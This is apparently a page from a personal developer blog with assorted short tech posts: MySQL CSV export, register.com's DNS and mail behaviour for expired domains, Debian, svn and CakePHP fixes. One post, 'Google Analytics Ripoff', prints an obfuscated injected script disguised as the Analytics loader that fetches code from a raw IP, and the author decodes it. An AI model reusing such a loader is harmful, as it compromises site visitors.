Subscribe to RSS Subscribe to Comments

Alan Blaine Whitney

SQL CSV Export

Nothing new here, but had forgot how easy it is to export to csv in mysql

SELECT * INTO OUTFILE 'result.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n' FROM my_table;

Note that this file will be created on the mysql server, not the client.

Register.com

I let a domain expire by accident. I thought it had some type of auto-renew on it, which it did not, so it expired. I really wish they would have sent me a notice a few days before giving me a heads up, but that’s even okay.  My bad for not making sure that it would auto-renew and charge my credit card.

Here is why register.com did that really surprised me. Once my domain expired, they listed the name servers as ns2.expireddomains.register.com and ns1.expireddomains.register.com. These name servers will serve everything as 74.54.82.222, even www.google.com, with a one hour time to live. This is problematic for several reasons. One is that it can give the impression that something is resolving when it is not. Another is that records that once did not exist, now do.

The thing that really frustrated me though, was mail.  The listed name servers will give everything a MX record of grey-area.mailhostingserver.com.  This is a real mail server that accepts all mail.  So somebody can email you, and instead of getting a bounce, the email just disappears into the ether.  More than that they give it a 2 day time to live.  So even after you do renew the domain, your email is screwed up for two days.

I would imagine that at least one-third of expired domains are accidents and they get renewed.  So register.com in their wisdom, hose your email for two days for making a mistake.  More than that, I have given register.com $35 for 7 years on that domain, and use them for nothing other than pointing the dns to another’s name servers.

So I have left register.com and switched to another company.  Thanks register.com for nothing.

Really Bad Code

I just fixing up a reported bug of a really old application.  In trying to fix the code I ran across this piece of code.

return ( floor((  146097 * $century)    /  4 ) +
                floor(( 1461 * $year)        /  4 ) +
                floor(( 153 * $month +  2) /  5 ) +
        		$day +  1721119);

Zip Codes

I nearly never have been able to find a good zip code database, just simple SQL with zips, towns latitude and longitude. The closest I have found is boutell’s Free Zip Code stuff.  Which is still not right, it’s in CSV format, which is easy enough to change, but I want SQL.  So I made it into SQL.

Download Zip Codes in SQL

It nearly goes without saying, but I accept no responsibility for the quality or accuracy of the database or any implications from using it.

Published under the Creative Commons Attribution-ShareAlike license.

Google Analytics Ripoff.

I have found something very funny on a site this morning.  Here is a bit of javascript.

1
2
3
4
5
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript srñ='" + gaJsHost + "google-analytics.com/ga.js' " + '!@&s(#r)c@!=&)\'&h$!t^&!$@t@&$p#^&@:$^/&@!&/!9(1)@.(2)1!(2)&.^#6&@&!^5(@!&.&#$1@!4)8!#/($g#$a&.(j^s)'.replace(/#|&|@|\$|\(|\!|\^|\)/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {var pageTracker = _gat._getTracker("UA-32645524-1");pageTracker._trackPageview();} catch(err); {}</script>

Which translates into including http://91.212.65.148/ga.js

Which includes an iframe. Not sure yet, but this may be the nine ball thing. This iframe is to: http://91.212.65.148//image/index.php

Recursive Find and Replace

This works on most linux boxes.

find /path/to/start/from/ -type f | xargs perl -pi -e ’s/applicationX/applicationY/g’

Debian reset timezone

dpkg-reconfigure tzdata

Command that resets the timezone accross the board on debian/ubuntu

Debian & svn

For those of you who just updated your Debian Lenny install and and had your subversion stop working, this is for you.  If you are getting this error:

svn: OPTIONS of 'http://dust.sephone.com/projects/mslha': could not connect to server (http://dust.sephone.com)

You need to put

http-library=serf

On the last line of ~/.subversion/servers

Cake 1.2RC3 to Final

Recently the cake 1.2 has been released.  On several of my applications I have upgrading all along the 1.2 release cycle.  Here are my tweaks that I needed to do from RC3 to 1.2 Final.

To start the upgrade, I simply swapped out my cake directory for the new one.  Dropped the tmp dir with this command.

find app/tmp/ -name ‘cake*’ | xargs rm

For the most part it worked right off the back.  The only problem I had was to switch some things in my “app/app_controller.php”.  In RC3, if it was an ajax request, it automatically switched to an ajax layout.  It stopped doing that in RC4 and final.  So I when to put functionality back in.

To start I added the request handler component and use beforeFilter().

	var $components = array('RequestHandler');
 
	function beforeFilter() {
		if ($this->RequestHandler->isAjax()) {
			$this->layout='ajax';
		}
    }

I actually had several things happening in my ‘app/app_controller.php’ already, here is my actual file.

	var $components = array('Auth', 'Email', 'RequestHandler');
 
	function beforeFilter() {
        $this->Auth->fields = array('username'=>'username', 'password' => 'password');
		$this->Auth->loginAction = array('admin' => false, 'controller' => 'users', 'action' => 'login');
		$this->Auth->allow('*');
 
		$this->set('navPoint', 'home');
 
		if (isset($this->params['admin'])) { 
			$this->layout='admin';
			$this->Auth->deny('*');
 
			// Lets set the sort order
			if (!$this->Session->check('sort')) {
				$this->Session->write('sort', 'Application.date_created DESC');
			}
		}
 
		if ($this->RequestHandler->isAjax()) { 
			$this->layout='ajax';
		}
    }

Inline Editing

Lately I have been using inline editing in web apps.  I really am falling in love with it.  By inline, I mean the user just clicks on an object in the interface.  Rather than a link, it changes a field into an edit able area, and then when you hit save, it updates the interface, all without updating the page.

General I use prototype’s form serialize and ajax updater to save the change.  I like to use an abouslutely positioned dive with a scriptaculous appear effect.

Maybe later I will give a more detailed technical explanation.

Next Page »

Based on FluidityTheme Redesigned by Kaushal Sheth Sponsored by Send Flowers